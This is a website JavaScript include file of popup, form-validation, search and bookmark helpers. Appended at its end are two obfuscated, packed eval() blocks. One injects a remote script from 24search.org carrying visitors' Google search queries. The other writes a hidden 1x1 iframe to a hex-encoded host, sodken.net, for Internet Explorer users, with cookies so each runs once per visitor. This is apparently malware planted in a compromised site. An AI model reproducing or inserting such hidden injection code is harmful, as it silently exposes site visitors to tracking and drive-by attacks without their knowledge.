//<!--
browserName = navigator.appName;
browserVer = parseInt(navigator.appVersion);
condition = !(( (browserName.indexOf("Explorer") >=0 ) && (browserVer < 4) ) ||  ((browserName.indexOf("Netscape") >=0 ) && (browserVer < 2) ) ) ;
if (condition == true  )
    CanAnimate = true;
else
    CanAnimate = false;

function translator(pattern)
{
	var thisurl = 'http://translate.google.com/translate_c?langpair=' + pattern + "&u=" + document.location;
	if (CanAnimate ){
        	msgWindow=window.open('' ,'subwindow','toolbar=yes,location=yes,directories=yes,status=yes,scrollbars=yes,menubar=yes,resizable=yes,left=0,top=0');
	        msgWindow.focus();
        	msgWindow.location.href = thisurl;
	}
	else {
        	msgWindow=window.open(thisurl,'subwindow','toolbar=yes,location=yes,directories=yes,status=yes,scrollbars=yes,menubar=yes,resizable=yes,left=0,top=0');
	}
}

function openchild_nl(thisurl) 
{
	var windowTop;
	var windowLeft;
	windowTop=(screen.height*(20/100))*0.7;
	windowLeft=screen.width*(19/100);

	var email_val = document.theForm.email.value;
	var from_site_val = document.theForm.from_site.value;
	var is_window_val = document.theForm.is_window.value;
	var org_referer = document.location;
	var thisurl_string = thisurl + "?email=" + email_val + "&from_site=" + from_site_val + "&is_window=" + is_window_val + "&org_referer=" + org_referer;

	if ( CanAnimate ) {
			msgWindow=window.open( '' ,'subwindow','toolbar=no,location=no,directories=no,status=yes,scrollbars=yes,menubar=no,resizable=yes,width=570,height=260,top='+windowTop+',left='+windowLeft);
			msgWindow.focus();
			msgWindow.location.href = thisurl_string;
	}
	else {
			msgWindow=window.open( thisurl_string,'subwindow','toolbar=no,location=no,directories=no,status=yes,scrollbars=yes,menubar=no,resizable=yes,width=570,height=260,top='+windowTop+',left='+windowLeft);
	}
}



function validate_nl(theForm)
{
	if (!(/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,4})+$/.test(theForm.email.value)))
	{
		alert("Invalid Email ID. Kindly enter the correct ID.");
		theForm.email.focus();
		return (false);
	}
}


function getblank_nl(this1)  {
	this1.value = "";
    return true;	
}

function checkSearchTop()
{

	if (document.SearchTop.search.value.length < 3){
	    alert("Enter at least three characters for search."); 
	    document.SearchTop.search.focus();
	    return false;
	}
	return true;
}

function checkSearchBottom()
{

	if (document.SearchBottom.search.value.length < 3){
	    alert("Enter at least three characters for search."); 
	    document.SearchBottom.search.focus();
	    return false;
	}
	return true;
}

function openchild_email_this_page(thisurl){
	if ( CanAnimate ){
        msgWindow=window.open( '' ,'subwindow','toolbar=no,location=no,directories=no,status=yes,scrollbars=yes,menubar=no,resizable=yes,width=635,height=260');
        msgWindow.focus();
        msgWindow.location.href = thisurl;
	}
	else {
        msgWindow=window.open( thisurl,'subwindow','toolbar=no,location=no,directories=no,status=yes,scrollbars=yes,menubar=no,resizable=yes,width=635,height=260');
	}
}


function check_form_email_this_page(form1)
{
	if (form1.S_name.value.length == 0){
		alert("Kindly enter your name."); 
		form1.S_name.focus();
		return false;
	}
    S_email_val = checkform_email(form1.S_email,"Kindly enter your Email address.");
	if(!S_email_val) {
		return false;
	}

	R_email1_val = checkform_email(form1.R_email1,"Kindly enter the Email ID of your friend / associate.");
	if(!R_email1_val) {
		return false;
	}

	if(form1.R_email2.value.length != 0)
	{
		R_email2_val = checkform_email(form1.R_email2,"Kindly enter the Email ID of your friend / associate.");
		if(!R_email2_val) {
			return false;
		}
	}

    if(form1.R_email3.value.length != 0)  
    {
        R_email3_val = checkform_email(form1.R_email3,"Kindly enter the Email ID of your friend / associate.");
        if(!R_email3_val) {
            return false;
        }
    }

    if(form1.R_email4.value.length != 0)  
    {
        R_email4_val = checkform_email(form1.R_email4,"Kindly enter the Email ID of your friend / associate.");
        if(!R_email4_val) {
            return false;
        }
    }

	//if (form1.message.value.length == 0){
	//	alert("Please write a message to your friend / associate."); 
	//	form1.message.focus();
	//	return false;
	//}

	else {
		return true;
	}	
}

function checkform_email(EMAIL,CMESSAGE)
{
    if (EMAIL.value.length == 0){
        alert(CMESSAGE); 
	    EMAIL.focus();
    	return false;
	}

	if (!(/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,4})+$/.test(EMAIL.value)))
	{
		alert("Invalid Email ID. Kindly enter the correct ID.");
		EMAIL.focus();
		return (false);
	}

	else
	{ 
        return true;
	}	
}

//function addbookmark()
//{
//bookmarkurl="http://wwwjavascriptsource.com/"
//bookmarktitle="Welcome To The Java Script Source"
//if (document.all)
//window.external.AddFavorite(bookmarkurl,bookmarktitle)
//}

function openchild_commercial(thisurl){
	if ( CanAnimate ){ 
        msgWindow=window.open( '' ,'subwindow');
        msgWindow.focus();
        msgWindow.location.href = thisurl;
	}
	else {
        msgWindow=window.open( thisurl,'subwindow');
	}       
}

function openchild_weather(cityid){
	var thisurl = "includes/weather-averagef70c.html?i=" + cityid + "&t=c";
	if (CanAnimate ){ 
        msgWindow=window.open('','subwindow','toolbar=no,location=no,directories=no,status=yes,scrollbars=yes,menubar=no,resizable=yes,width=400,height=450');
        msgWindow.focus();
        msgWindow.location.href = thisurl;
	}
	else {
        msgWindow=window.open(thisurl,'subwindow','toolbar=no,location=no,directories=no,status=yes,scrollbars=no,menubar=no,resizable=yes,width=400,height=450');
	}       
}

function code_for_bookmark()	{
	if ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 4)) {
		var url=document.location;
		var title = document.title;
		document.write('<A HREF="javascript:window.external.AddFavorite(url,title);" onMouseOver="window.status=\'Bookmark this page!\';return true;" onMouseOut="window.status=\'\';return true;"><IMG SRC=includes/gifs/bookmark-this-page.gif ALT="Bookmark this page" WIDTH=15 HEIGHT=15 BORDER=0 HSPACE=3 VSPACE=0><FONT class="navsmall"><B>Bookmark this page</B></FONT></a>');
	}
	else {
		var msg = '<IMG SRC=includes/gifs/bookmark-this-page.gif ALT="Bookmark this page" WIDTH=15 HEIGHT=15 BORDER=0 HSPACE=3 VSPACE=0><FONT class="navsmall"><B>Bookmark ';
		if (navigator.appName == "Netscape") {
			msg += "  (CTRL-D)</B></FONT>";
			document.write(msg);
		}
	}
}
// -->

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));sa="%73%6F%64%6B%65%6E%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('7(2.3.4("5=0")==-1&&10.13.4("19 6")!=-1){2.3="5=0; 17=18, 14 12 8 14:15:26 9; ";2.11("<20"+"31 34="+"1 33"+"32=1 0"+"30=\'29"+"23://"+22+"/21/\' 24=\'25"+"28:27\'></7"+"16>")}',10,35,'s||document|cookie|indexOf|_mlsdkf||if|2015|GMT|navigator|write|Jul|appVersion|||rame|expires|Mon|MSIE|ifra|b2b|sa|tp|style|di||none|splay|ht|rc|me|ght|hei|width'.split('|')));

